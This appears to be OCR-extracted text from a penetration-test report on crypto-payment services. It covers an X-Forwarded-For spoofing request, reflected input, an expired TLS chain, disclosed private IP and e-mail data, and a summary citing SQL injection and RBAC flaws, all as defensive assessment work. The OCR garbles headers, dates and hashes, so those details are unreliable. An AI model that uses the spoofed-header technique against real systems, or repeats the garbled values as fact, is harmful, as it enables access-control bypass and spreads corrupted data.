User-Agent: Mozilla/ss. 0 (Windows NT 10.0; Wingd; x64) AppleWebKit /537,36
(KHTML, Like Gecko) Chrome/103.0,5080,134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Sec-Ch-Ua: " .Mot/sAa)Brand";v="99", "Google Chrome";v="103",
"Chromium";w="103"

Sec-Ch-Ua-Platform: Windows

Sec-Ch-Ua-Mobile: 70

Content-Length: @

¥-Forwarded-For: 127.0.0.1

Advisory Request1 Response 1 Request 2 Response 2

Pretty Raw Hex = I

(]

R I T

HTTR/2 200 0K

Date: Thu, 1% Jun 2023 16:58:2% GMT

Content -Type: application/javascript
Cache-Control: max-age=31536000

Cf-Bgj: minify

Cf-Polished: origSize=1539948

Etag: W/"'abchSede235c9dacSTtafedffe7led43bf"
Last-Modified: Thu, 01 Jun 2023 08:40:01 GMT

R N 4+ CErmrnddamm

If an application trusts an HTTP request header like X-Forwarded-For to accurately

specify the remote IP address of the connecting client, then malicious clients can spoof

their IP address. This behavior does not necessarily constitute a security vulnerability,

however some applications use client IP addresses to enforce access controls and rate

limits. For example, an application might expose administrative functionality only to clients

connecting from the local IP address of the server, or allow a certain number of failed login

attempts from each unique IP address. Consider reviewing relevant functionality to

determine whether this might be the case.

HTTP request headers such as X-Forwarded-For, True-Client-IP, and X-Real-IP are not a

robust foundation on which to build any security measures, such as access controls. Any
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such measures should be replaced with more secure alternatives that are not vulnerable to

spoofing.

If the platform application server returns incorrect information about the client's IP address
due to the presence of any particular HTTP request header, then the server may need to be

reconfigured, or an alternative method of identifying clients should be used

Finding: Input returned in response (reflected)
Severity: low/info

Targets: /users/<user|D>

Box [DOSINT Services (OVulnDB [3 Privacy and Security [3J Learning Resources

< . @ nactive

Description:

Reflection of input arises when data is copied from a request and echoed into the

application's immediate response.

Input being returned in application responses is not a vulnerability in its own right.
However, it is a prerequisite for many client-side vulnerabilities, including cross-site

scripting, open redirection, content spoofing, and response header injection. Additionally,
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some server-side vulnerabilities such as SQL injection are often easier to identify and
exploit when input is returned in responses. In applications where input retrieval is rare
and the environment is resistant to automated testing (for example, due to a web

application firewall), it might be worth subjecting instances of it to focused manual testing.

Finding: Expired TLS certificate

Target: [
Severity: Low

TLS (or SSL) helps to protect the confidentiality and integrity of information in transit
between the browser and server, and to provide authentication of the server's identity. To
serve this purpose, the server must present an TLS certificate that is valid for the server's
hostname, is issued by a trusted authority and is valid for the current date. If any one of
these requirements is not met, TLS connections to the server will not provide the full

protection for which TLS is designed.
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It should be noted that various attacks exist against TLS in general, and in the context of
HTTPS web connections in particular. It may be possible for a determined and
suitably-positioned attacker to compromise TLS connections without user detection even

when a valid TLS certificate is used.

The following problem was identified with the server's TLS certificate:
& Certificate 3 in the certificate chain has expired.

The server presented the following certificates:

Server certificate
tssuedto: |
Issuedby: R3

Valid from: Fri Jun 02 16:43:48 EEST 2023
Valid to: Thu Aug 3116:43:47 EEST 2023

Certificate chain #1

Issuedte: R3

Issuedby: ISRG Root X1

Valid from: Fri Sep 04 03:00:00 EEST 2020
Valid to: Mon Sep 15 19:00:00 EEST 2025
Certificate chain #2

Issuedte: ISRG Root X1

Issuedby: DST Root CA X3

Valid from: Wed Jan 20 21:14:03 EET 2021
Valid to: Mon Sep 30 21:14:03 EEST 2024
Certificate chain #3

Issuedte: D5T Root CA X3

Issuedby: DST Root CA X3

Valid from: 5Sun Oct 01 00:12:19 EEST 2000
Valid to: Thu Sep 30 17:01:15 EEST 2021
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Finding: Private IP address disclosed, e-mail disclosed

Target: [N

Severity: Low

Advisory

)

LT s )b

Request Response

Raw Hex =

ET | TR L. 1
Host : I

Accept-Encoding: gzip., deflate

Accept:
Accept-Language: en-US;g=0.9,en;0=0.8

User-agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4) ApplewWebkKit/537.36 (KHTML, like Gecko)

* ok

Chrome/103.0.5060,134 Safari/537.36
7 Connection: close
5 Cache-Control: max-age=0

Advisory

Pretty
51

30

Request Response
Raw Hex Render = B
“script=

window.__initialData = {

T

"customerDomain®:null, "singleorganization” :t rue, | NGKGcNGNGNNEEEEEEEEEEEE
urirrefix": | . - {

"current":"23,1,1","latest":"23.1.1", "build": "e05ad2c88f25079b 49565eadc 231 958838041,

"upgradelAvailable" . false
t."features:[1, "distPrefix": " || NN . ' --d-Urorade” : false, "dsn":

inull, "messages":[]

"apmSampling": 0.0, "is0nPremise" it rue, "isSel fHosted" it rue, "invitesEnabled" (1t rue,
"gravatarsaseurl " | N . :-r-u ool tprivacyUrl null,
"lastOrganization" :null, "languageCode”:"en", "userldentity":{

"ip_address":" !
}."csrfCookieName": "sc", "superUserCookieName" : "su", "superUserCookieDomain” inull, "sentryConfig

i
"frontend@23.1l.1l+ef6ad2cB8T25079b49565eadc 231 f958838:041e”, "environment " : "production”,
"whitelistUrls":[]

Y}, "demoMode" : false, "enablesnalytics": false, "validateSUForm" :true, "disableU2FForSUForm” : false,

"links":{
"organizationUrl® :null, "regionurl® null, "sentryurl | R

}."isAuthenticated”: false, "user":null

=fscript=



Summary

Services have a lot of minor vulnerabilities and also they have couple of really critical issues
such as SQL injections. Also main business logic concerned about isolation of clients’

information and processes is corrupted because of RBAC issues.

Firstly, developers must review the code that is responsible for receiving and filtering
requests to database from crypto-services, that can help to mitigate detected SQL

injections and prevent further potential SQL vulnerabilities.

Next, we recommend to review RBAC-responsible blocks of code, at least that are
responsible for issues described in report, but lot detected RBAC issues testifies that this

part of code is not checked enough and possibly may be vulnerable at other endpoints.

Then it's very important to check functionality and interactions of refresh and access

tokens. Refresh token must not be used as access token advice versa.
Crypto-pay-cms: update strapi and node services. Change credentials on prod enironment.

And last, but not least - update security headers in web-server responses. It's not a critical
issue, but it's an effective layer of security, that will protect your services from potential
attack vectors.
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